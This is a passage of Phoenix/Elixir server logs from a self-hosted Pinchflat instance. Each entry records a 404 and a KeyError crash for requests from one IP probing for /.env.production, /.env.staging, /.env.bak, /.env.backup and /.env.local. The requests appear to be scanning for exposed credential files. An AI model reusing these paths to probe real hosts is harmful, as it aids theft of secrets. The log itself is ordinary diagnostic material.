"request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfRKhbw4NnN0ACMGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21440.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52038}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21440.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52038}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21441.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfRKhbw4NnN0ACMGB"} ], scheme: :http, script_na (truncated) 15:40:15.696 [info] GET /.env.staging 15:40:15.696 [debug] QUERY OK source="settings" db=0.0ms idle=138.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.696 [debug] QUERY OK source="settings" db=0.0ms idle=103.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.696 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.696 [error] #PID<0.21443.0> running PinchflatWeb.Endpoint (connection #PID<0.21442.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.staging ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21442.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52054}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21443.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfRQttKEmJuMACMGh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21442.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52054}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21442.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52054}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21443.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfRQttKEmJuMACMGh"} ], scheme: :http, script_name: [], (truncated) 15:40:15.782 [info] GET /.env.bak 15:40:15.783 [debug] QUERY OK source="settings" db=0.1ms idle=189.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.783 [debug] QUERY OK source="settings" db=0.0ms idle=112.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.783 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.783 [error] #PID<0.21445.0> running PinchflatWeb.Endpoint (connection #PID<0.21444.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21444.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52066}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21445.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfRlZeM6CKWcACMHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21444.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52066}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21444.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52066}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21445.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfRlZeM6CKWcACMHB"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:15.801 [info] GET /.env.backup 15:40:15.801 [debug] QUERY OK source="settings" db=0.0ms idle=130.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.801 [debug] QUERY OK source="settings" db=0.0ms idle=105.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.801 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.801 [error] #PID<0.21447.0> running PinchflatWeb.Endpoint (connection #PID<0.21446.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21446.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52076}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21447.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfRpwX4-6d1wACMHh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21446.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52076}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21446.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52076}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21447.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfRpwX4-6d1wACMHh"} ], scheme: :http, script_name: [], secret (truncated) 15:40:15.895 [info] GET /.env.local 15:40:15.895 [debug] QUERY OK source="settings" db=0.0ms idle=198.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.895 [debug] QUERY OK source="settings" db=0.0ms idle=112.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.895 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.895 [error] #PID<0.21449.0> running PinchflatWeb.Endpoint (connection #PID<0.21448.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21448.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21449.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 